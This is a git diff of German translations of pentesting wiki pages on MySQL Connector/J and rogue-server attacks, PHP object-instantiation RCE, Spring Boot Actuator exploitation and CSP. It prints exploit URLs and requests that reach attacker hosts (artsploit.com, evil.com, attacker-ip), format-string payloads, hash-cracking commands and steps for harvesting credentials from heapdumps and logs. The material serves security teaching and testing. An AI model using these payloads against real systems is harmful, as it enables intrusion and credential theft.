-Ab Connector/J <= 8.0.32 kann ein Angreifer, der die **JDBC URL** beeinflussen kann (z. B. in Drittanbieter-Software, die nach einer Verbindungszeichenfolge fragt), über den `propertiesTransform`-Parameter verlangen, dass beliebige Klassen auf der *client* side geladen werden. Wenn ein auf dem class-path vorhandenes gadget geladen werden kann, führt das zu **remote code execution in the context of the JDBC client** (pre-auth, da keine gültigen Zugangsdaten erforderlich sind). Ein minimales PoC sieht wie folgt aus:
+Ab Connector/J <= 8.0.32 kann ein Angreifer, der die **JDBC URL** beeinflussen kann (z. B. in Drittanbieter-Software, die nach einem Connection-String fragt), über den Parameter `propertiesTransform` verlangen, dass beliebige Klassen auf der *Client*-Seite geladen werden. Wenn ein auf dem class-path vorhandenes gadget geladen werden kann, führt dies zu **remote code execution in the context of the JDBC client** (pre-auth, weil keine gültigen Anmeldedaten erforderlich sind). Ein minimales PoC sieht so aus:
 ```java
 jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
 ```
-Das Ausführen von `Evil.class` kann so einfach sein wie das Platzieren auf dem Classpath der verwundbaren Anwendung oder das Zulassen, dass ein bösartiger MySQL-Server ein bösartiges serialisiertes Objekt sendet. Das Problem wurde in Connector/J 8.0.33 behoben – aktualisiere den Treiber oder setze explizit `propertiesTransform` auf eine allow-list.
-(Siehe Snyk-Write-up für Details)
+Das Ausführen von `Evil.class` kann so einfach sein, wie sie auf dem class-path der verwundbaren Anwendung bereitzustellen oder einen rogue MySQL server ein bösartiges serialisiertes Objekt senden zu lassen. Das Problem wurde in Connector/J 8.0.33 behoben – aktualisieren Sie den Treiber oder setzen Sie `propertiesTransform` explizit auf eine allow-list.
+(Siehe Snyk write-up für Details)

-### Bösartige / gefälschte MySQL-Server-Angriffe gegen JDBC-Clients
-Mehrere Open-Source-Tools implementieren ein *partielles* MySQL-Protokoll, um JDBC-Clients anzugreifen, die nach außen verbinden:
+### Rogue / Fake MySQL Server-Angriffe gegen JDBC-Clients
+Mehrere Open-Source-Tools implementieren ein *partial* MySQL-Protokoll, um JDBC-Clients anzugreifen, die Verbindungen nach außen herstellen:

-* **mysql-fake-server** (Java, unterstützt Datei-Lese- und Deserialisierungs-Exploits)
-* **rogue_mysql_server** (Python, ähnliche Möglichkeiten)
+* **mysql-fake-server** (Java, supports file read and deserialization exploits)
+* **rogue_mysql_server** (Python, similar capabilities)

-Typische Angriffsabläufe:
+Typische Angriffswege:

 1. Die Opferanwendung lädt `mysql-connector-j` mit `allowLoadLocalInfile=true` oder `autoDeserialize=true`.
-2. Der Angreifer kontrolliert DNS / Host-Eintrag, sodass der Hostname der DB auf eine Maschine unter seiner Kontrolle aufgelöst wird.
-3. Der bösartige Server antwortet mit manipulierten Paketen, die entweder `LOCAL INFILE`-basiertes beliebiges Dateilesen oder Java-Deserialisierung auslösen → RCE.
+2. Der Angreifer kontrolliert DNS / hosts-Eintrag, sodass der Hostname der DB auf eine Maschine unter seiner Kontrolle aufgelöst wird.
+3. Der bösartige Server antwortet mit speziell gestalteten Paketen, die entweder `LOCAL INFILE` arbitrary file read oder Java deserialization → RCE auslösen.

-Beispiel-Einzeiler, um einen gefälschten Server zu starten (Java):
+Beispiel-One-Liner, um einen Fake-Server zu starten (Java):
 ```bash
 java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server
 ```
-Zeige die Zielanwendung dann auf `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` und lese `/etc/passwd`, indem du den Dateinamen im *username*-Feld als Base64 kodierst (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
+Zeige dann die victim application auf `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` und lese `/etc/passwd`, indem du den Dateinamen als base64 im *username*-Feld kodierst (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).

 ### Cracking `caching_sha2_password` hashes
-MySQL ≥ 8.0 speichert Passwort-Hashes als **`$mysql-sha2$`** (SHA-256). Sowohl Hashcat (mode **21100**) als auch John-the-Ripper (`--format=mysql-sha2`) unterstützen seit 2023 offline cracking. Exportiere die `authentication_string`-Spalte und füttere sie direkt:
+MySQL ≥ 8.0 speichert Passwort-Hashes als **`$mysql-sha2$`** (SHA-256). Sowohl Hashcat (mode **21100**) als auch John-the-Ripper (`--format=mysql-sha2`) unterstützen Offline-Cracking seit 2023. Dump die `authentication_string`-Spalte und speise sie direkt ein:
 ```bash
 # extract hashes
 echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -696,15 +695,15 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
 john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
 ```
 ### Härtungs-Checkliste (2025)
-• Setzen Sie **`LOCAL_INFILE=0`** und **`--secure-file-priv=/var/empty`**, um die meisten Datei-Lese/-Schreib-Primitiven zu unterbinden.
-• Entfernen Sie das **`FILE`**-Privileg von Anwendungskonten.
-• Bei Connector/J setzen Sie `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (leer).
-• Deaktivieren Sie ungenutzte Authentifizierungs-Plugins und **erzwingen Sie TLS** (`require_secure_transport = ON`).
-• Überwachen Sie auf `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` und plötzliche `SET GLOBAL`-Anweisungen.
+• Set **`LOCAL_INFILE=0`** und **`--secure-file-priv=/var/empty`**, um die meisten Datei-Lese-/Schreib-Primitives zu unterbinden.  
+• Entferne das **`FILE`**-Privileg von Anwendungskonten.  
+• Bei Connector/J setze `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (leer).  
+• Deaktiviere ungenutzte Authentifizierungs-Plugins und **erfordere TLS** (`require_secure_transport = ON`).  
+• Überwache auf `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` und plötzliche `SET GLOBAL`-Anweisungen.  

 ---

-## References
+## Quellen
 - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
 - [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
 - [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@ -1,4 +1,4 @@
-# PHP - RCE durch Ausnutzung der Objekt-Erstellung: new $_GET["a"]($_GET["b"])
+# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

 {{#include ../../../banners/hacktricks-training.md}}

@ -6,13 +6,13 @@ Dies ist im Wesentlichen eine Zusammenfassung von [https://swarm.ptsecurity.com/

 ## Einführung

-Die Erstellung neuer beliebiger Objekte, wie `new $_GET["a"]($_GET["a"])`, kann zu Remote Code Execution (RCE) führen, wie in einem [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) beschrieben. Dieses Dokument stellt verschiedene Strategien zur Erreichung von RCE vor.
+Das Erstellen neuer beliebiger Objekte, wie `new $_GET["a"]($_GET["a"])`, kann zu Remote Code Execution (RCE) führen, wie in einem [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) beschrieben. Dieses Dokument hebt verschiedene Strategien zur Erreichung von RCE hervor.

-## RCE via Custom Classes or Autoloading
+## RCE mittels Custom Classes oder Autoloading

-Die Syntax `new $a($b)` wird verwendet, um ein Objekt zu instanziieren, wobei **`$a`** den Klassennamen darstellt und **`$b`** das erste Argument ist, das an den Konstruktor übergeben wird. Diese Variablen können aus Benutzereingaben wie GET/POST stammen, wo sie Strings oder Arrays sein können, oder aus JSON, wo sie als andere Typen auftreten können.
+Die Syntax `new $a($b)` wird verwendet, um ein Objekt zu instanziieren, wobei **`$a`** den Klassennamen darstellt und **`$b`** das erste an den Konstruktor übergebene Argument ist. Diese Variablen können aus Benutzereingaben wie GET/POST stammen, wo sie Strings oder Arrays sein können, oder aus JSON, wo sie als andere Typen auftreten können.

-Betrachte den folgenden Codeausschnitt:
+Betrachten Sie den folgenden Codeausschnitt:
 ```php
 class App {
 function __construct ($cmd) {
@ -51,66 +51,66 @@ Das Verhalten des Autoloadings variiert je nach PHP-Version und bietet unterschi

 Fehlen eigene Klassen oder Autoloader, können **eingebaute PHP-Klassen** für RCE ausreichen. Die Anzahl dieser Klassen liegt je nach PHP-Version und installierten Erweiterungen zwischen etwa 100 und 200. Sie lassen sich mit `get_declared_classes()` auflisten.

-Interessante Konstruktoren lassen sich über die Reflection-API identifizieren, wie im folgenden Beispiel und im Link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) gezeigt.
+Interessante Konstruktoren lassen sich über die Reflection-API identifizieren, wie im folgenden Beispiel und dem Link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) gezeigt.

-**Zu spezifischen Methoden für RCE gehören:**
+**RCE durch spezifische Methoden umfasst:**

 ### **SSRF + Phar Deserialization**

-Die Klasse `SplFileObject` ermöglicht SSRF über ihren Konstruktor und erlaubt Verbindungen zu beliebigen URLs:
+Die `SplFileObject`-Klasse ermöglicht SSRF über ihren Konstruktor und erlaubt Verbindungen zu beliebigen URLs:
 ```php
 new SplFileObject('http://attacker.com/');
 ```
-SSRF kann in Versionen von PHP vor 8.0 unter Verwendung des Phar-Protokolls zu deserialization attacks führen.
+SSRF kann in PHP-Versionen vor 8.0 mithilfe des Phar-Protokolls zu Deserialisierungsangriffen führen.

-### **Exploiting PDOs**
+### **Ausnutzen von PDOs**

-Der Konstruktor der PDO-Klasse erlaubt Verbindungen zu Datenbanken über DSN-Strings und kann möglicherweise die Erstellung von Dateien oder andere Interaktionen ermöglichen:
+Der PDO-Klassenkonstruktor erlaubt Verbindungen zu Datenbanken über DSN-Strings und kann potenziell die Erstellung von Dateien oder andere Interaktionen ermöglichen:
 ```php
 new PDO("sqlite:/tmp/test.txt")
 ```
 ### **SoapClient/SimpleXMLElement XXE**

-PHP-Versionen bis einschließlich 5.3.22 und 5.4.12 waren anfällig für XXE-Angriffe über die `SoapClient`- und `SimpleXMLElement`-Konstruktoren, abhängig von der libxml2-Version.
+Versionen von PHP bis einschließlich 5.3.22 und 5.4.12 waren anfällig für XXE-Angriffe über die `SoapClient`- und `SimpleXMLElement`-Konstruktoren, abhängig von der libxml2-Version.

-## RCE über die Imagick-Erweiterung
+## RCE über Imagick Extension

-Bei der Analyse der **Projektabhängigkeiten** wurde festgestellt, dass **Imagick** durch Instanziieren neuer Objekte für **command execution** missbraucht werden kann. Dies eröffnet Möglichkeiten zur Ausnutzung von Schwachstellen.
+Bei der Analyse der **Projektabhängigkeiten** wurde festgestellt, dass **Imagick** durch das Instanziieren neuer Objekte für **command execution** nutzbar ist. Dies bietet die Möglichkeit, Schwachstellen auszunutzen.

 ### VID parser

-Es wurde festgestellt, dass der VID-Parser Inhalte an beliebige Pfade im Dateisystem schreiben kann. Dadurch könnte eine PHP-Shell in ein webzugängliches Verzeichnis abgelegt werden, was Remote Code Execution (RCE) ermöglicht.
+Es wurde festgestellt, dass der VID-Parser Inhalte an beliebige Pfade im Dateisystem schreiben kann. Dies könnte zur Platzierung einer PHP-Shell in einem webzugänglichen Verzeichnis führen und damit Remote Code Execution (RCE) ermöglichen.

 #### VID Parser + File Upload

-Es ist zu beachten, dass PHP hochgeladene Dateien temporär in `/tmp/phpXXXXXX` speichert. Der VID-Parser in Imagick, der das **msl**-Protokoll verwendet, kann Wildcards in Dateipfaden verarbeiten und so die Übertragung der temporären Datei an einen gewählten Ort ermöglichen. Diese Methode bietet einen zusätzlichen Ansatz, beliebiges Dateischreiben im Dateisystem zu erreichen.
+Es ist zu beachten, dass PHP hochgeladene Dateien vorübergehend in `/tmp/phpXXXXXX` ablegt. Der VID-Parser in Imagick, der das **msl**-Protokoll nutzt, kann Wildcards in Dateipfaden verarbeiten und ermöglicht so das Kopieren der temporären Datei an einen gewählten Speicherort. Diese Methode bietet einen zusätzlichen Weg, beliebiges Schreiben von Dateien im Dateisystem zu erreichen.

 ### PHP Crash + Brute Force

-Eine in der [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) beschriebene Methode beinhaltet das Hochladen von Dateien, die einen Serverabsturz vor der Löschung auslösen. Durch Brute-Forcing des Namens der temporären Datei kann Imagick beliebigen PHP-Code ausführen. Diese Technik funktionierte jedoch nur in einer veralteten Version von ImageMagick.
+Eine Methode, beschrieben im [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), beinhaltet das Hochladen von Dateien, die einen Serverabsturz auslösen, bevor sie gelöscht werden. Durch Brute-Forcing des Namens der temporären Datei wird es möglich, dass Imagick beliebigen PHP-Code ausführt. Diese Technik erwies sich jedoch nur in einer veralteten Version von ImageMagick als wirksam.

 ## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)

-Wenn Benutzereingaben den Klassennamen kontrollieren (z.B., `new $_GET['model']()`), führte PHP 7.0.0 im Zuge des `Throwable`-Refactorings einen temporären Bug ein, bei dem die Engine fälschlicherweise den Klassennamen während der Auflösung als printf-Formatstring behandelte. Dies ermöglicht klassische printf-style primitives inside PHP: leaks with `%p`, write-count control with width specifiers, and arbitrary writes with `%n` against in-process pointers (for example, GOT entries on ELF builds).
+Wenn Benutzereingabe den Klassennamen steuert (z. B. `new $_GET['model']()`), führte PHP 7.0.0 während des `Throwable`-Refactors einen temporären Bug ein, bei dem die Engine den Klassennamen irrtümlich als printf-Formatstring bei der Auflösung behandelte. Das ermöglicht klassische printf-style primitives in PHP: leaks with `%p`, write-count control with width specifiers und arbitrary writes mit `%n` gegen in-process pointers (z. B. GOT-Einträge bei ELF-Builds).

-Minimales reproduzierbares verwundbares Muster:
+Minimal reproduzierbares verwundbares Muster:
 ```php
 <?php
 $model = $_GET['model'];
 $object = new $model();
 ```
-Exploitation outline (aus der Referenz):
- Leak addresses via `%p` im Klassennamen, um ein beschreibbares Ziel zu finden:
+Ausnutzungsablauf (aus der Referenz):
+- Leak addresses via `%p` in the class name to find a writable target:
 ```bash
 curl "http://host/index.php?model=%p-%p-%p"
 # Fatal error includes resolved string with leaked pointers
 ```
- Verwende positionale Parameter und width specifiers, um eine exakte Byte-Anzahl zu setzen, dann `%n`, um diesen Wert an eine auf dem stack erreichbare Adresse zu schreiben, ziele auf einen GOT slot (z.B. `free`), um ihn teilweise zu `system` zu überschreiben.
- Trigger die hijacked function, indem ein Klassenname mit einer shell pipe übergeben wird, um `system("id")` aufzurufen.
+- Verwende positionsbasierte Parameter und width specifiers, um eine genaue Byte-Anzahl zu setzen, dann `%n`, um diesen Wert an eine auf dem Stack erreichbare Adresse zu schreiben. Zielt auf einen GOT-Slot (z. B. `free`), um ihn teilweise zu `system` zu überschreiben.
+- Löse die hijackte Funktion aus, indem du einen Klassennamen übergibst, der eine Shell-Pipe enthält, um `system("id")` aufzurufen.

-Anmerkungen:
- Funktioniert nur unter PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); in späteren Releases behoben. Schweregrad: kritisch, falls arbitrary class instantiation vorhanden ist.
- Typische payloads verketten viele `%p`, um den stack zu durchsuchen, und nutzen dann `%.<width>d%<pos>$n`, um die partielle Überschreibung zu platzieren.
+Hinweise:
+- Funktioniert nur unter PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); in späteren Releases behoben. Schweregrad: kritisch, falls beliebige Klasseninstanziierung existiert.
+- Typische Payloads verketten viele `%p`, um den Stack zu durchlaufen, und verwenden dann `%.<width>d%<pos>$n`, um die partielle Überschreibung zu platzieren.

 ## Referenzen

--- a/src/network-services-pentesting/pentesting-web/spring-actuators.md
+++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md
@ -1,4 +1,4 @@
-# Spring Actuators
+# Spring Actuatoren

 {{#include ../../banners/hacktricks-training.md}}

@ -8,28 +8,28 @@

 **Von** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)

-## Exploiting Spring Boot Actuators
+## Ausnutzen von Spring Boot Actuators

-**Siehe den Originalbeitrag:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
+**Siehe den Originalbeitrag von** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]

-### **Kernaussagen:**
+### **Kernpunkte:**

- Spring Boot Actuators registrieren Endpunkte wie `/health`, `/trace`, `/beans`, `/env` usw. In den Versionen 1 bis 1.4 sind diese Endpunkte ohne Authentifizierung zugänglich. Ab Version 1.5 sind standardmäßig nur `/health` und `/info` nicht-sensitiv, aber Entwickler deaktivieren diese Absicherung oft.
- Bestimmte Actuator-Endpunkte können sensitive Daten offenlegen oder schädliche Aktionen erlauben:
+- Spring Boot Actuatoren registrieren Endpunkte wie `/health`, `/trace`, `/beans`, `/env` usw. In den Versionen 1 bis 1.4 sind diese Endpunkte ohne Authentifizierung zugänglich. Ab Version 1.5 sind standardmäßig nur `/health` und `/info` nicht-sensitiv, aber Entwickler deaktivieren diese Absicherung häufig.
+- Bestimmte Actuator-Endpunkte können sensible Daten offenlegen oder schädliche Aktionen erlauben:
 - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` und `/heapdump`.
- In Spring Boot 1.x werden Actuators unter der Root-URL registriert, während sie in 2.x unter dem Basis-Pfad `/actuator/` liegen.
+- In Spring Boot 1.x werden Actuatoren unter der Root-URL registriert, während sie in 2.x unter dem Basis-Pfad `/actuator/` liegen.

-### **Exploitation-Techniken:**
+### **Ausnutzungsmethoden:**

 1. **Remote Code Execution via '/jolokia'**:
- Der `/jolokia` Actuator-Endpunkt macht die Jolokia Library zugänglich, die HTTP-Zugriff auf MBeans ermöglicht.
+- Der `/jolokia` Actuator-Endpunkt exponiert die Jolokia Library, die HTTP-Zugriff auf MBeans ermöglicht.
 - Die Aktion `reloadByURL` kann ausgenutzt werden, um Logging-Konfigurationen von einer externen URL nachzuladen, was zu blind XXE oder Remote Code Execution über manipulierte XML-Konfigurationen führen kann.
 - Beispiel-Exploit-URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
 2. **Config Modification via '/env'**:

- Wenn Spring Cloud Libraries vorhanden sind, erlaubt der `/env` Endpunkt die Modifikation von Umgebungs-Properties.
- Properties können manipuliert werden, um Schwachstellen auszunutzen, wie z. B. die XStream-Deserialisierungs-Schwachstelle in der Eureka serviceURL.
- Beispiel POST-Request:
+- Wenn Spring Cloud Libraries vorhanden sind, erlaubt der `/env` Endpunkt die Änderung von Umgebungs-Properties.
+- Properties können so manipuliert werden, dass Schwachstellen ausgenutzt werden, z. B. die XStream-Deserialisierungsschwachstelle in der Eureka serviceURL.
+- Beispiel-Exploit-POST-Request:

 ```
 POST /env HTTP/1.1
@ -40,32 +40,32 @@ Content-Length: 65
 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
 ```

-3. **Andere nützliche Einstellungen**:
- Properties wie `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` und `spring.datasource.tomcat.max-active` können für verschiedene Exploits manipuliert werden, z. B. für SQL injection oder zum Ändern von Datenbank-Verbindungsstrings.
+3. **Weitere nützliche Einstellungen**:
+- Properties wie `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` und `spring.datasource.tomcat.max-active` können für verschiedene Exploits manipuliert werden, z. B. SQL-Injection oder zum Ändern von Datenbankverbindungsstrings.

 ### **Zusätzliche Informationen:**

- Eine umfassende Liste der Default-Actuators findet sich [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Der `/env` Endpunkt in Spring Boot 2.x verwendet JSON-Format für Property-Modifikationen, aber das grundlegende Konzept bleibt gleich.
+- Eine umfassende Liste der Standard-Actuatoren findet sich [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
+- Der `/env` Endpunkt in Spring Boot 2.x verwendet JSON-Format zur Property-Änderung, das Grundkonzept bleibt jedoch gleich.

 ### **Verwandte Themen:**

 1.  **Env + H2 RCE**:
- Details zur Ausnutzung der Kombination des `/env` Endpunkts und der H2-Datenbank finden sich [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
+- Details zum Ausnutzen der Kombination aus `/env` Endpunkt und H2-Datenbank finden sich [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).

 2.  **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Die Handhabung von Matrix-Parametern (`;`) in HTTP-Pathnames durch das Spring-Framework kann für Server-Side Request Forgery (SSRF) ausgenutzt werden.
- Beispiel-Exploit-Request:
+- Die Handhabung von Matrix-Parametern (`;`) in HTTP-Pfaden durch das Spring-Framework kann für Server-Side Request Forgery (SSRF) ausgenutzt werden.
+- Beispiel-Exploit-Anfrage:
 ```http
 GET ;@evil.com/url HTTP/1.1
 Host: target.com
 Connection: close
 ```
-## HeapDump secrets mining (credentials, tokens, internal URLs)
+## HeapDump-Secrets auslesen (credentials, tokens, internal URLs)

-Wenn `/actuator/heapdump` exponiert ist, können Sie normalerweise einen vollständigen JVM-Heap-Snapshot herunterladen, der häufig live secrets enthält (DB creds, API keys, Basic-Auth, interne Service-URLs, Spring property maps, usw.).
+If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).

- Herunterladen und schnelle Triage:
+- Download and quick triage:
 ```bash
 wget http://target/actuator/heapdump -O heapdump
 # Quick wins: look for HTTP auth and JDBC
@ -74,33 +74,33 @@ strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.dat
 printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
 ```

- Tiefere Analyse mit VisualVM und OQL:
- Öffnen Sie den heapdump in VisualVM, inspizieren Sie Instanzen von `java.lang.String` oder führen Sie OQL aus, um nach secrets zu suchen:
+- Deeper analysis with VisualVM and OQL:
+- Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets:
 ```
 select s.toString()
 from java.lang.String s
 where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
 ```

- Automatisierte Extraktion mit JDumpSpider:
+- Automated extraction with JDumpSpider:
 ```bash
 java -jar JDumpSpider-*.jar heapdump
 ```
-Typische hochgradig verwertbare Funde:
- Spring `DataSourceProperties` / `HikariDataSource` Objekte, die `url`, `username`, `password` offenbaren.
- `OriginTrackedMapPropertySource`-Einträge, die `management.endpoints.web.exposure.include`, Service-Ports und eingebettete Basic-Auth in URLs (z. B. Eureka `defaultZone`) preisgeben.
- Plain-HTTP Request/Response-Fragmente inklusive `Authorization: Basic ...`, die im Speicher erfasst wurden.
+Typische besonders wertvolle Funde:
+- Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`.
+- `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`).
+- Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory.

 Tipps:
- Verwenden Sie eine auf Spring fokussierte Wordlist, um Actuator-Endpunkte schnell zu entdecken (z. B. SecLists spring-boot.txt) und prüfen Sie immer, ob `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` und `/actuator/configprops` ebenfalls exponiert sind.
- Credentials aus heapdump funktionieren oft für angrenzende Services und manchmal für Systembenutzer (SSH), daher breit testen.
+- Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) und prüfe immer, ob `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` und `/actuator/configprops` ebenfalls exposed sind.
+- Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly.


-## Abusing Actuator loggers/logging to capture credentials
+## Actuator-Logger/Logging missbrauchen, um credentials zu erfassen

-Wenn `management.endpoints.web.exposure.include` es erlaubt und `/actuator/loggers` exponiert ist, können Sie dynamisch die Log-Level auf DEBUG/TRACE für Packages erhöhen, die Authentifizierung und Request-Processing behandeln. In Kombination mit lesbaren Logs (über `/actuator/logfile` oder bekannte Log-Pfade) kann dies credentials offenlegen, die während Login-Flows übermittelt werden (z. B. Basic-Auth-Header oder Formularparameter).
+If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).

- Auflisten und hochsetzen sensibler Logger:
+- Enumerate and crank up sensitive loggers:
 ```bash
 # List available loggers
 curl -s http://target/actuator/loggers | jq .
@ -114,7 +114,7 @@ curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway
 -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
 ```

- Finden, wo Logs geschrieben werden, und ernten:
+- Find where logs are written and harvest:
 ```bash
 # If exposed, read from Actuator directly
 curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
@ -123,14 +123,14 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user
 curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
 ```

- Triggern Sie Login-/Authentifizierungs-Traffic und parsen Sie das Log nach creds. In Microservice-Setups mit einem Gateway vor Auth kann das Aktivieren von TRACE für Gateway-/Security-Packages oft Header und Form-Bodies sichtbar machen. Manche Umgebungen erzeugen sogar periodisch synthetischen Login-Traffic, wodurch das Harvesting trivial wird, sobald das Logging verbose ist.
+- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose.

 Hinweise:
- Setzen Sie Log-Level zurück, wenn Sie fertig sind: `POST /actuator/loggers/<logger>` mit `{ "configuredLevel": null }`.
- Wenn `/actuator/httpexchanges` exponiert ist, kann es ebenfalls kürzliche Request-Metadaten anzeigen, die sensitive Header enthalten können.
+- Reset log levels when done: `POST /actuator/loggers/<logger>` with `{ "configuredLevel": null }`.
+- If `/actuator/httpexchanges` is exposed, it can also surface recent request metadata that may include sensitive headers.


-## References
+## Referenzen

 - [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
 - [VisualVM](https://visualvm.github.io/)
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@ -4,28 +4,28 @@

 ## Was ist CSP

-Content Security Policy (CSP) ist als Browser-Technologie anerkannt und dient in erster Linie dem **Schutz vor Angriffen wie Cross-Site Scripting (XSS)**. Sie funktioniert, indem Pfade und Quellen definiert und spezifiziert werden, von denen Ressourcen sicher vom Browser geladen werden dürfen. Diese Ressourcen umfassen Elemente wie Bilder, Frames und JavaScript. Beispielsweise kann eine Policy das Laden und Ausführen von Ressourcen aus derselben Domain (`self`) erlauben, einschließlich inline-Ressourcen und der Ausführung von String-Code über Funktionen wie `eval`, `setTimeout` oder `setInterval`.
+Content Security Policy (CSP) wird als Browser-Technologie verstanden, die in erster Linie darauf abzielt, **gegen Angriffe wie cross-site scripting (XSS) zu schützen**. Sie funktioniert, indem Pfade und Quellen definiert und spezifiziert werden, von denen Ressourcen sicher vom Browser geladen werden dürfen. Diese Ressourcen umfassen Elemente wie Bilder, Frames und JavaScript. Zum Beispiel kann eine Policy das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich inline-Ressourcen und der Ausführung von String-Code über Funktionen wie `eval`, `setTimeout` oder `setInterval`.

-Die Implementierung von CSP erfolgt über **Response-Header** oder durch Einfügen von **Meta-Elementen in die HTML-Seite**. Browser setzen diese Vorgaben durch und blockieren erkannte Verstöße sofort.
+Die Implementierung von CSP erfolgt über **Response-Header** oder durch Einfügen von **meta-Elementen in die HTML-Seite**. Browser setzen diese Vorgaben aktiv durch und blockieren sofort erkannte Verstöße.

 - Implementiert über Response-Header:
 ```
 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
 ```
- Über ein Meta-Tag implementiert:
+- Implementiert über Meta-Tag:
 ```xml
 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
 ```
-### Headers
+### Kopfzeilen

-CSP kann mit diesen Headern durchgesetzt oder überwacht werden:
+CSP kann durch die folgenden Header durchgesetzt oder überwacht werden:

- `Content-Security-Policy`: Erzwingt die CSP; der Browser blockiert alle Verstöße.
- `Content-Security-Policy-Report-Only`: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal zum Testen in Vorproduktionsumgebungen.
+- `Content-Security-Policy`: Setzt die CSP durch; der Browser blockiert alle Verstöße.
